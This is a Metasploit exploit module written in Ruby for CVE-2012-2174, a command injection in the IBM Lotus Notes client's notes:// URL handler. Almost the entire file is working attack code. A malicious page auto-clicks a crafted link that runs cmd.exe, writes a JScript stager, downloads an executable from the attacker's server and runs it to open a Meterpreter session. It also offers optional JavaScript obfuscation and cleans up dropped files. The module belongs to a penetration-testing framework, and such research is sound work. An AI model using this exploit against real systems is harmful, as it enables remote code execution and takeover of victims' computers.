added module for ZDI-12-154
jvazquez-r7
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "IBM Lotus Notes Client URL Handler Command Injection",
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'Description' => %q{
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This modules exploits a command injection vulnerability in the URL handler for
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for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with
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an specially crafted notes:// URL to execute arbitrary commands with also arbitrary
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arguments. This module has been tested successfully on Windows XP SP3 with IE8,
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Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Moritz Jodeit', # Vulnerability discovery
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'Sean de Regge', # Vulnerability analysis
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'juan vazquez' # Metasploit
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],
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'References' =>
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[
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[ 'CVE', '2012-2174' ],
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[ 'OSVDB', '83063' ],
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[ 'BID', '54070' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ],
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[ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ],
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[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ]
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],
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'Payload' =>
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{
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'Space' => 2048,
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "none",
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'InitialAutoRunScript' => 'migrate -k -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jun 18 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def exploit
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@exe_name = rand_text_alpha(2) + ".exe"
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@stage_name = rand_text_alpha(2) + ".js"
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super
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end
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def on_new_session(session)
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if session.type == "meterpreter"
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session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
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end
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@dropped_files.delete_if do |file|
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win_file = file.gsub("/", "\\\\")
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if session.type == "meterpreter"
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begin
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wintemp = session.fs.file.expand_path("%TEMP%")
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win_file = "#{wintemp}\\#{win_file}"
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# Meterpreter should do this automatically as part of
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# fs.file.rm(). Until that has been implemented, remove the
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# read-only flag with a command.
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session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
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session.fs.file.rm(win_file)
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print_good("Deleted #{file}")
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true
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rescue ::Rex::Post::Meterpreter::RequestError
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print_error("Failed to delete #{win_file}")
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false
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end
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end
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end
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end
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def on_request_uri(cli, request)
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if request.uri =~ /\.exe$/
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return if ((p=regenerate_payload(cli))==nil)
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register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}")
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register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}")
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data = generate_payload_exe({:code=>p.encoded})
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print_status("Sending payload")
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send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
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return
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end
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my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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if datastore['SSL']
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schema = "https"
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else
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schema = "http"
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end
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uri = "#{schema}://#{my_host}"
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uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe"
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script = "var w=new ActiveXObject('wscript.shell');"
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script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');"
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script << "var x=new ActiveXObject('Microsoft.XMLHTTP');"
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script << "x.open('GET','#{uri}', false);"
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script << "x.send();"
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script << "var s=new ActiveXObject('ADODB.Stream');"
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script << "s.Mode=3;"
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script << "s.Type=1;"
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script << "s.Open();"
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script << "s.Write(x.responseBody);"
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script << "s.SaveToFile('#{@exe_name}',2);"
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script << "w.Run('#{@exe_name}');"
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vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM"
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link_id = rand_text_alpha(5 + rand(5))
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js_click_link = %Q|
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function clickLink(link) {
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var cancelled = false;
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if (document.createEvent) {
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var event = document.createEvent("MouseEvents");
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event.initMouseEvent("click", true, true, window,
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0, 0, 0, 0, 0,
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false, false, false, false,
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0, null);
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cancelled = !link.dispatchEvent(event);
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}
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else if (link.fireEvent) {
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cancelled = !link.fireEvent("onclick");
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}
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if (!cancelled) {
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window.location = link.href;
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}
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}
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if datastore['OBFUSCATE']
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js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link)
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js_click_link.obfuscate
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js_click_link_fn = js_click_link.sym('clickLink')
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else
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js_click_link_fn = 'clickLink'
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end
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html = <<-EOS
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<html>
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<head>
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<script>
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#{js_click_link}
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</script>
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</head>
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<body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));">
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<a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3+rand(3))}/#{rand_text_alpha_lower(3+rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a>
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</body>
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</html>
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EOS
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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